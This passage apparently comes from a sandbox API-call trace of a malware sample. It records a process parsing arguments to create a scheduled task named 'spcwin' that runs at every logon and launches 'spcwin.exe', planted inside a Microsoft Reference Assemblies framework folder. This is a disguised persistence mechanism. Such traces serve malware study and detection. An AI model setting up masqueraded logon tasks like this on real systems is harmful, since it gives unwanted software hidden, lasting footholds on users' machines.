(lpString="tn") returned 2 [0129.971] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.971] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|i|") returned 3 [0129.971] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tn|") returned 4 [0129.971] lstrlenW (lpString="|i|") returned 3 [0129.971] lstrlenW (lpString="|tn|") returned 4 [0129.971] SetLastError (dwErrCode=0x490) [0129.971] lstrlenW (lpString="tn") returned 2 [0129.971] lstrlenW (lpString="tn") returned 2 [0129.971] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.971] lstrlenW (lpString="tn") returned 2 [0129.971] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.971] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tn|") returned 4 [0129.972] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tn|") returned 4 [0129.972] lstrlenW (lpString="|tn|") returned 4 [0129.972] lstrlenW (lpString="|tn|") returned 4 [0129.972] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0129.972] SetLastError (dwErrCode=0x0) [0129.972] SetLastError (dwErrCode=0x0) [0129.972] lstrlenW (lpString="spcwin") returned 6 [0129.972] lstrlenW (lpString="-/") returned 2 [0129.972] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0129.972] SetLastError (dwErrCode=0x490) [0129.972] SetLastError (dwErrCode=0x490) [0129.972] SetLastError (dwErrCode=0x0) [0129.972] lstrlenW (lpString="spcwin") returned 6 [0129.972] StrChrIW (lpStart="spcwin", wMatch=0x3a) returned 0x0 [0129.972] SetLastError (dwErrCode=0x490) [0129.972] SetLastError (dwErrCode=0x0) [0129.972] lstrlenW (lpString="spcwin") returned 6 [0129.972] SetLastError (dwErrCode=0x0) [0129.972] SetLastError (dwErrCode=0x0) [0129.972] lstrlenW (lpString="/sc") returned 3 [0129.972] lstrlenW (lpString="-/") returned 2 [0129.972] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.972] lstrlenW (lpString="create") returned 6 [0129.972] lstrlenW (lpString="create") returned 6 [0129.972] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.972] lstrlenW (lpString="sc") returned 2 [0129.972] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.972] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|create|") returned 8 [0129.973] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|sc|") returned 4 [0129.973] lstrlenW (lpString="|create|") returned 8 [0129.973] lstrlenW (lpString="|sc|") returned 4 [0129.973] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0129.973] SetLastError (dwErrCode=0x490) [0129.973] lstrlenW (lpString="?") returned 1 [0129.973] lstrlenW (lpString="?") returned 1 [0129.973] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.973] lstrlenW (lpString="sc") returned 2 [0129.973] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.973] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|?|") returned 3 [0129.973] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|sc|") returned 4 [0129.973] lstrlenW (lpString="|?|") returned 3 [0129.973] lstrlenW (lpString="|sc|") returned 4 [0129.973] SetLastError (dwErrCode=0x490) [0129.973] lstrlenW (lpString="s") returned 1 [0129.973] lstrlenW (lpString="s") returned 1 [0129.973] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.973] lstrlenW (lpString="sc") returned 2 [0129.973] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.973] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|s|") returned 3 [0129.973] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|sc|") returned 4 [0129.973] lstrlenW (lpString="|s|") returned 3 [0129.973] lstrlenW (lpString="|sc|") returned 4 [0129.973] SetLastError (dwErrCode=0x490) [0129.973] lstrlenW (lpString="u") returned 1 [0129.974] lstrlenW (lpString="u") returned 1 [0129.974] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.974] lstrlenW (lpString="sc") returned 2 [0129.974] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.974] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|u|") returned 3 [0129.974] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|sc|") returned 4 [0129.974] lstrlenW (lpString="|u|") returned 3 [0129.974] lstrlenW (lpString="|sc|") returned 4 [0129.974] SetLastError (dwErrCode=0x490) [0129.974] lstrlenW (lpString="p") returned 1 [0129.974] lstrlenW (lpString="p") returned 1 [0129.974] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.974] lstrlenW (lpString="sc") returned 2 [0129.974] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.974] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|p|") returned 3 [0129.974] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|sc|") returned 4 [0129.974] lstrlenW (lpString="|p|") returned 3 [0129.974] lstrlenW (lpString="|sc|") returned 4 [0129.974] SetLastError (dwErrCode=0x490) [0129.974] lstrlenW (lpString="ru") returned 2 [0129.974] lstrlenW (lpString="ru") returned 2 [0129.974] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.974] lstrlenW (lpString="sc") returned 2 [0129.974] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.974] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|ru|") returned 4 [0129.974] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|sc|") returned 4 [0129.975] lstrlenW (lpString="|ru|") returned 4 [0129.975] lstrlenW (lpString="|sc|") returned 4 [0129.975] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0129.975] SetLastError (dwErrCode=0x490) [0129.975] lstrlenW (lpString="rp") returned 2 [0129.975] lstrlenW (lpString="rp") returned 2 [0129.975] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.975] lstrlenW (lpString="sc") returned 2 [0129.975] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.975] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rp|") returned 4 [0129.975] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|sc|") returned 4 [0129.975] lstrlenW (lpString="|rp|") returned 4 [0129.975] lstrlenW (lpString="|sc|") returned 4 [0129.975] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0129.975] SetLastError (dwErrCode=0x490) [0129.975] lstrlenW (lpString="sc") returned 2 [0129.975] lstrlenW (lpString="sc") returned 2 [0129.975] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.975] lstrlenW (lpString="sc") returned 2 [0129.975] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.975] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|sc|") returned 4 [0129.975] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|sc|") returned 4 [0129.975] lstrlenW (lpString="|sc|") returned 4 [0129.975] lstrlenW (lpString="|sc|") returned 4 [0129.975] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0129.975] SetLastError (dwErrCode=0x0) [0129.976] SetLastError (dwErrCode=0x0) [0129.976] lstrlenW (lpString="ONLOGON") returned 7 [0129.976] lstrlenW (lpString="-/") returned 2 [0129.976] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0129.976] SetLastError (dwErrCode=0x490) [0129.976] SetLastError (dwErrCode=0x490) [0129.976] SetLastError (dwErrCode=0x0) [0129.976] lstrlenW (lpString="ONLOGON") returned 7 [0129.976] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0129.976] SetLastError (dwErrCode=0x490) [0129.976] SetLastError (dwErrCode=0x0) [0129.976] GetProcessHeap () returned 0x250000 [0129.976] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26d550 [0129.976] _memicmp (_Buf1=0x26d550, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.976] lstrlenW (lpString="ONLOGON") returned 7 [0129.976] GetProcessHeap () returned 0x250000 [0129.976] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x10) returned 0x26d610 [0129.976] lstrlenW (lpString="ONLOGON") returned 7 [0129.976] lstrlenW (lpString=" \x09") returned 2 [0129.976] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0129.976] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0129.976] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0129.976] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0129.976] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0129.976] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0129.976] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0129.976] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0129.976] GetLastError () returned 0x0 [0129.976] lstrlenW (lpString="ONLOGON") returned 7 [0129.977] lstrlenW (lpString="ONLOGON") returned 7 [0129.977] SetLastError (dwErrCode=0x0) [0129.977] SetLastError (dwErrCode=0x0) [0129.977] lstrlenW (lpString="/tr") returned 3 [0129.977] lstrlenW (lpString="-/") returned 2 [0129.977] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.977] lstrlenW (lpString="create") returned 6 [0129.977] lstrlenW (lpString="create") returned 6 [0129.977] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.977] lstrlenW (lpString="tr") returned 2 [0129.977] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.977] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|create|") returned 8 [0129.977] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tr|") returned 4 [0129.977] lstrlenW (lpString="|create|") returned 8 [0129.977] lstrlenW (lpString="|tr|") returned 4 [0129.977] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0129.977] SetLastError (dwErrCode=0x490) [0129.977] lstrlenW (lpString="?") returned 1 [0129.977] lstrlenW (lpString="?") returned 1 [0129.977] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.977] lstrlenW (lpString="tr") returned 2 [0129.977] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.977] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|?|") returned 3 [0129.977] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tr|") returned 4 [0129.977] lstrlenW (lpString="|?|") returned 3 [0129.977] lstrlenW (lpString="|tr|") returned 4 [0129.977] SetLastError (dwErrCode=0x490) [0129.978] lstrlenW (lpString="s") returned 1 [0129.978] lstrlenW (lpString="s") returned 1 [0129.978] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.978] lstrlenW (lpString="tr") returned 2 [0129.978] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.978] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|s|") returned 3 [0129.978] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tr|") returned 4 [0129.978] lstrlenW (lpString="|s|") returned 3 [0129.978] lstrlenW (lpString="|tr|") returned 4 [0129.978] SetLastError (dwErrCode=0x490) [0129.978] lstrlenW (lpString="u") returned 1 [0129.978] lstrlenW (lpString="u") returned 1 [0129.978] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.978] lstrlenW (lpString="tr") returned 2 [0129.978] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.978] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|u|") returned 3 [0129.978] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tr|") returned 4 [0129.978] lstrlenW (lpString="|u|") returned 3 [0129.978] lstrlenW (lpString="|tr|") returned 4 [0129.978] SetLastError (dwErrCode=0x490) [0129.978] lstrlenW (lpString="p") returned 1 [0129.978] lstrlenW (lpString="p") returned 1 [0129.978] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.978] lstrlenW (lpString="tr") returned 2 [0129.978] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.979] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|p|") returned 3 [0129.979] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tr|") returned 4 [0129.979] lstrlenW (lpString="|p|") returned 3 [0129.979] lstrlenW (lpString="|tr|") returned 4 [0129.979] SetLastError (dwErrCode=0x490) [0129.979] lstrlenW (lpString="ru") returned 2 [0129.979] lstrlenW (lpString="ru") returned 2 [0129.979] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.979] lstrlenW (lpString="tr") returned 2 [0129.979] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.979] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|ru|") returned 4 [0129.979] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tr|") returned 4 [0129.979] lstrlenW (lpString="|ru|") returned 4 [0129.979] lstrlenW (lpString="|tr|") returned 4 [0129.979] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0129.979] SetLastError (dwErrCode=0x490) [0129.979] lstrlenW (lpString="rp") returned 2 [0129.979] lstrlenW (lpString="rp") returned 2 [0129.979] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.979] lstrlenW (lpString="tr") returned 2 [0129.979] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.979] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|rp|") returned 4 [0129.979] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tr|") returned 4 [0129.979] lstrlenW (lpString="|rp|") returned 4 [0129.979] lstrlenW (lpString="|tr|") returned 4 [0129.979] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0129.980] SetLastError (dwErrCode=0x490) [0129.980] lstrlenW (lpString="sc") returned 2 [0129.980] lstrlenW (lpString="sc") returned 2 [0129.980] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.980] lstrlenW (lpString="tr") returned 2 [0129.980] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.980] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|sc|") returned 4 [0129.980] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tr|") returned 4 [0129.980] lstrlenW (lpString="|sc|") returned 4 [0129.980] lstrlenW (lpString="|tr|") returned 4 [0129.980] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0129.980] SetLastError (dwErrCode=0x490) [0129.980] lstrlenW (lpString="mo") returned 2 [0129.980] lstrlenW (lpString="mo") returned 2 [0129.980] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.980] lstrlenW (lpString="tr") returned 2 [0129.980] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.980] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|mo|") returned 4 [0129.980] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tr|") returned 4 [0129.980] lstrlenW (lpString="|mo|") returned 4 [0129.980] lstrlenW (lpString="|tr|") returned 4 [0129.980] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0129.980] SetLastError (dwErrCode=0x490) [0129.980] lstrlenW (lpString="d") returned 1 [0129.980] lstrlenW (lpString="d") returned 1 [0129.980] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.981] lstrlenW (lpString="tr") returned 2 [0129.981] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.981] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|d|") returned 3 [0129.981] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tr|") returned 4 [0129.981] lstrlenW (lpString="|d|") returned 3 [0129.981] lstrlenW (lpString="|tr|") returned 4 [0129.981] SetLastError (dwErrCode=0x490) [0129.981] lstrlenW (lpString="m") returned 1 [0129.981] lstrlenW (lpString="m") returned 1 [0129.981] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.981] lstrlenW (lpString="tr") returned 2 [0129.981] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.981] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|m|") returned 3 [0129.981] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tr|") returned 4 [0129.981] lstrlenW (lpString="|m|") returned 3 [0129.981] lstrlenW (lpString="|tr|") returned 4 [0129.981] SetLastError (dwErrCode=0x490) [0129.981] lstrlenW (lpString="i") returned 1 [0129.981] lstrlenW (lpString="i") returned 1 [0129.981] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.981] lstrlenW (lpString="tr") returned 2 [0129.981] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.981] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|i|") returned 3 [0129.981] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tr|") returned 4 [0129.981] lstrlenW (lpString="|i|") returned 3 [0129.982] lstrlenW (lpString="|tr|") returned 4 [0129.982] SetLastError (dwErrCode=0x490) [0129.982] lstrlenW (lpString="tn") returned 2 [0129.982] lstrlenW (lpString="tn") returned 2 [0129.982] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.982] lstrlenW (lpString="tr") returned 2 [0129.982] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.982] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tn|") returned 4 [0129.982] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tr|") returned 4 [0129.982] lstrlenW (lpString="|tn|") returned 4 [0129.982] lstrlenW (lpString="|tr|") returned 4 [0129.982] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0129.982] SetLastError (dwErrCode=0x490) [0129.982] lstrlenW (lpString="tr") returned 2 [0129.982] lstrlenW (lpString="tr") returned 2 [0129.982] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.982] lstrlenW (lpString="tr") returned 2 [0129.982] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.982] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tr|") returned 4 [0129.982] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc2a8 | out: _Buffer="|tr|") returned 4 [0129.982] lstrlenW (lpString="|tr|") returned 4 [0129.982] lstrlenW (lpString="|tr|") returned 4 [0129.982] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0129.982] SetLastError (dwErrCode=0x0) [0129.982] SetLastError (dwErrCode=0x0) [0129.982] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0129.982] lstrlenW (lpString="-/") returned 2 [0129.983] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0129.983] SetLastError (dwErrCode=0x490) [0129.983] SetLastError (dwErrCode=0x490) [0129.983] SetLastError (dwErrCode=0x0) [0129.983] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0129.983] StrChrIW (lpStart="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'", wMatch=0x3a) returned=":\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'" [0129.983] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0129.983] _memicmp (_Buf1=0x26d590, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.983] _memicmp (_Buf1=0x26d5d0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.983] SetLastError (dwErrCode=0x7a) [0129.983] SetLastError (dwErrCode=0x0) [0129.983] SetLastError (dwErrCode=0x0) [0129.983] lstrlenW (lpString="'C") returned 2 [0129.983] lstrlenW (lpString="-/") returned 2 [0129.983] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0129.983] SetLastError (dwErrCode=0x490) [0129.983] SetLastError (dwErrCode=0x490) [0129.983] SetLastError (dwErrCode=0x0) [0129.983] _memicmp (_Buf1=0x26d550, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.983] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0129.983] GetProcessHeap () returned 0x250000 [0129.983] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d610) returned 1 [0129.983] GetProcessHeap () returned 0x250000 [0129.983] RtlReAllocateHeap (Heap=0x250000, Flags=0xc, Ptr=0x26d610, Size=0xae) returned 0x26c2e0 [0129.983] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0129.983] lstrlenW (lpString=" \x09") returned 2 [0129.983] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0129.983] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0129.983] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0129.984] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0129.984] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0129.984] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0129.984] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0129.984] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0129.984] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0129.984] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0129.984] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0129.984] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0129.984] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0129.984] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0129.984] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0129.984] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0129.984] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.984] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0129.984] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0129.984] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0129.984] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.984] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0129.984] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.984] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0129.984] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.984] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0129.984] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0129.984] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.984] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0129.984] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0129.984] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0129.984] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0129.985] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.985] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0129.985] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0129.985] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0129.985] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0129.985] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.985] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0129.985] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0129.985] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0129.985] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0129.985] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0129.985] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0129.985] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0129.985] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0129.985] StrChrW (lpStart=" 